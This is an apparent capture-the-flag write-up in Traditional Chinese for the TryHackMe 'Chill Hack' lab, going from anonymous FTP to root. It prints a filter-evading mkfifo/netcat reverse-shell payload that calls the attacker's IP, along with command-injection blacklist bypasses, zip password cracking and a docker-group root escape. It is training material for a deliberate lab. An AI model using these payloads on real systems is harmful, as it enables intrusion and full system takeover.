TryHackMe Chill Hack writeup (zh-TW)
題目資訊
- 平台: TryHackMe
- 房間名稱: Chill Hack
- 難度: Easy
- 目標: 獲取 user.txt 和 root.txt
- 連結: https://tryhackme.com/room/chillhack
解題流程
Step 1: 初步偵察 - Nmap 掃描
首先對目標進行端口掃描:
rustscan -a 10.201.106.243 -b 2000 -t 2000 -- -A -sV -sC掃描結果:
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed
22/tcp open ssh OpenSSH 7.6p1
80/tcp open http Apache httpd 2.4.29
發現:
- ✅ FTP (21) - 允許匿名登入
- ✅ SSH (22) - OpenSSH
- ✅ HTTP (80) - Apache Web Server
Step 2: FTP 匿名登入探索
嘗試以匿名身份登入 FTP:
ftp 10.201.106.243
# Username: anonymous
# Password: (直接按 Enter)
列出檔案:
ftp> ls -la
drwxr-xr-x 2 0 115 4096 Oct 03 2020 .
drwxr-xr-x 2 0 115 4096 Oct 03 2020 ..
-rw-r--r-- 1 1001 1001 90 Oct 03 2020 note.txt
下載 note.txt:
ftp> get note.txt
ftp> exit
查看內容:
cat note.txt
Anurodh told me that there is some filtering on strings being put in the command -- Apaar
關鍵資訊:
- 💡 有潛在用戶名: Anurodh
- 💡 提示有 command filtering (命令過濾)
Step 3: Web 應用探索 - 目錄掃描
使用 feroxbuster 掃描隱藏目錄:
feroxbuster -u http://10.201.106.243/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 10 -d 2發現目錄:
/css (Status: 301)
/fonts (Status: 301)
/images (Status: 301)
/js (Status: 301)
/secret (Status: 301) ⭐
訪問 /secret 發現一個命令執行介面!
Step 4: Command Injection - 繞過黑名單過濾
訪問 http://10.201.106.243/secret/ 發現一個 command input 介面。
測試基本命令:
id
# 成功執行,返回: uid=33(www-data) gid=33(www-data)
嘗試 ls 命令:
ls
# 頁面顯示: "Are you a hacker?" ❌
分析黑名單 - 使用 tac 查看 index.php:
tac index.php
發現黑名單:
$blacklist = array('nc', 'python', 'bash','php','perl','rm','cat','head','tail','python3','more','less','sh','ls');
繞過策略 - 使用空變數插入:
關鍵原理: 在 Bash 中,${xyz} 如果 xyz 未定義,會被展開為空字串,因此 ca${x}t = cat
Reverse Shell Payload:
r${x}m /tmp/f;mkfifo /tmp/f;ca${x}t /tmp/f|/bin/s${x}h -i 2>&1|n${x}c 10.13.90.144 4444 >/tmp/f
在攻擊機上Windows Powershell開啟 listener:
ncat -lnvp 4444
在 /secret 頁面輸入 payload,成功獲得 shell! 🎉
Step 5: Shell 穩定化
python3 -c 'import pty; pty.spawn("/bin/bash")'
Step 6: 權限提升 (www-data → apaar)
檢查 sudo 權限:
sudo -l
結果:
User www-data may run the following commands on ip-10-201-106-243:
(apaar : ALL) NOPASSWD: /home/apaar/.helpline.sh
查看腳本內容:
cat /home/apaar/.helpline.sh
#!/bin/bash
echo
echo "Welcome to helpdesk. Feel free to talk to anyone at any time!"
echo
read -p "Enter the person whom you want to talk with: " person
read -p "Hello user! I am $person, Please enter your message: " msg
$msg 2>/dev/null # ⚠️ 直接執行用戶輸入!
echo "Thank you for your precious time!"
漏洞分析:
- 腳本會直接執行
$msg變數的內容 - 這是一個明顯的 Command Injection 漏洞!
利用腳本提權:
sudo -u apaar /home/apaar/.helpline.sh
互動過程:
Enter the person whom you want to talk with: admin
Hello user! I am admin, Please enter your message: /bin/bash
成功獲得 apaar shell! 🎉
whoami
# apaar
獲取 user flag:
cat /home/apaar/local.txt
# {USER-FLAG: 9axxxxxxxxxxxxxxxxxxxxxxxx6c}
Step 7: 橫向移動 (apaar → anurodh)
探索 Web 目錄:
cd /var/www/files
ls -la
檔案列表:
-rw-r--r-- 1 root root 391 Oct 3 2020 account.php
-rw-r--r-- 1 root root 453 Oct 3 2020 hacker.php ⭐
drwxr-xr-x 2 root root 4096 Oct 3 2020 images
-rw-r--r-- 1 root root 1153 Oct 3 2020 index.php
-rw-r--r-- 1 root root 545 Oct 3 2020 style.css
查看 hacker.php:
cat /var/www/files/hacker.php
關鍵內容:
<img src = "images/hacker-with-laptop_23-2147985341.jpg"><br>
<h1 style="background-color:red;">You have reached this far. </h2>
<h1 style="background-color:black;">Look in the dark! You will find your answer</h1>
提示分析:
- 💡 "Look in the dark!" → 暗示隱寫術 (Steganography)
- 🖼️ 重點圖片:
hacker-with-laptop_23-2147985341.jpg
下載圖片到本機:
方法 1 - 使用 Python HTTP Server:
# 在 target 機器上
cd /var/www/files/images
python3 -m http.server 8000
# 在 Kali 上
wget http://10.10.XX.XX:8000/hacker-with-laptop_23-2147985341.jpg
使用 Stegseek 提取隱藏檔案:
stegseek hacker-with-laptop_23-2147985341.jpg
輸出:
[i] Found passphrase: ""
[i] Original filename: "backup.zip".
[i] Extracting to "hacker-with-laptop_23-2147985341.jpg.out".
確認檔案類型:
file hacker-with-laptop_23-2147985341.jpg.out
# Zip archive data
嘗試解壓縮:
unzip hacker-with-laptop_23-2147985341.jpg.out
# [hacker-with-laptop_23-2147985341.jpg.out] source_code.php password:
需要密碼! 😤
Step 8: 破解 Zip 密碼
使用 John the Ripper:
# 轉換 zip 為 hash 格式
zip2john hacker-with-laptop_23-2147985341.jpg.out > zip_hash.txt
# 破解
john zip_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
或使用 fcrackzip:
└─$ fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt hacker-with-laptop_23-2147985341.jpg.out
PASSWORD FOUND!!!!: pw == pass1word破解成功! 密碼: pass1word
解壓縮:
unzip hacker-with-laptop_23-2147985341.jpg.out
# 輸入密碼: pass1word
查看 source_code.php:
cat source_code.php
關鍵代碼:
if(base64_encode($password) == "IWQwbnRLbjB3bVlwQHNzdzByZA==")
{
$random = rand(1000,9999);
// ...
echo "Welcome Anurodh!";
發現:
- 💡 這是 anurodh 用戶的密碼(Base64 編碼)
- 🔑 解碼即可獲得明文密碼
解碼 Base64:
echo "IWQwbnRLbjB3bVlwQHNzdzByZA==" | base64 -d
# !d0ntKn0wmYp@ssw0rd
SSH 登入 anurodh:
ssh [email protected]
# Password: !d0ntKn0wmYp@ssw0rd
成功登入! 🎉
Step 9: 權限提升 (anurodh → root)
檢查用戶所屬群組:
id
輸出:
uid=1002(anurodh) gid=1002(anurodh) groups=1002(anurodh),999(docker) ⭐
關鍵發現: anurodh 在 docker 群組中!
檢查可用的 Docker images:
docker images
結果:
REPOSITORY TAG IMAGE ID CREATED SIZE
alpine latest a24bb4013296 5 years ago 5.57MB
hello-world latest bf756fb1ae65 5 years ago 13.3kB
Docker 提權原理:
- Docker 群組成員可以啟動容器
- 容器內部預設是 root 權限
- 可以將主機的根目錄掛載到容器
- 通過
chroot切換到主機根目錄 = 以 root 身份存取主機!
執行 Docker 提權:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
參數解釋:
docker run- 啟動新容器-v /:/mnt- 將主機的/掛載到容器的/mnt--rm- 容器結束後自動刪除-it- 互動式終端alpine- 使用 alpine Linux imagechroot /mnt sh- 切換根目錄到/mnt並執行 shell
驗證權限:
whoami
# root ✅
獲取 root flag:
cd /root
ls
# proof.txt snap
cat proof.txt
Flag 內容:
{ROOT-FLAG: Redacted}
Congratulations! You have successfully completed the challenge.
,-.-. ,----.
,-..-.-./ \==\ ,-.-` , \ _.-. _.-. _,..---._
|, \=/\=|- |==||==|- _.` .-,.'| .-,.'| /==/, - \
|- |/ |/ , /==/|==| `.-.|==|, | |==|, | |==| _ _\
\, , _|==/==/_ , /|==|- | |==|- | |==| .=. |
| - - , |==|==| .-' |==|, | |==|, | |==|,| | -|
\ , - /==/|==|_ `-._|==|- `-._|==|- `-._ |==| '=' /
|- /\ /==/ /==/ , //==/ - , ,/==/ - , ,/ |==|-, _`/
`--` `--` `--`-----`` `--`-----`--`-----' `-.`.____.'
--------------------------------------------Designed By -------------------------------------------------------
| Anurodh Acharya |
---------------------
完成! 🏆
技術要點總結
1. Command Injection 黑名單繞過
ca${x}t /etc/passwd # 空變數插入
c"at" /etc/passwd # 雙引號分割
c\at /etc/passwd # 反斜線
tac /etc/passwd # 替代命令2. 隱寫術工具
stegseek image.jpg # JPG 自動爆破
steghide extract -sf image.jpg # 手動提取
zsteg image.png -a # PNG 掃描
3. ZIP 密碼破解
fcrackzip -u -D -p rockyou.txt backup.zip
# 或
zip2john backup.zip > hash.txt
john hash.txt --wordlist=rockyou.txt
4. Docker 群組提權
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
檢測: id 查看是否在 docker 群組
經驗分享
關於Step 7: 橫向移動 (apaar → anurodh)
這一步筆者卡了超久,最後是請Claude AI查詢writeup,才發現要再去找/var/www下面目錄中的檔案,找到檔案之後,也沒有馬上知道要測試隱寫術,而是同樣透過writeup的提示才去分析那個圖片,我自己檢討來說,等於還是需要檢查網站的一些特殊檔案,通常情況,拿到user flag比較容易專注在提權,而這次是要再轉換成其他使用者一次,再行提權,而轉換這一步,就需要找到使用者的一些密碼,後續就比較直觀~
Member discussion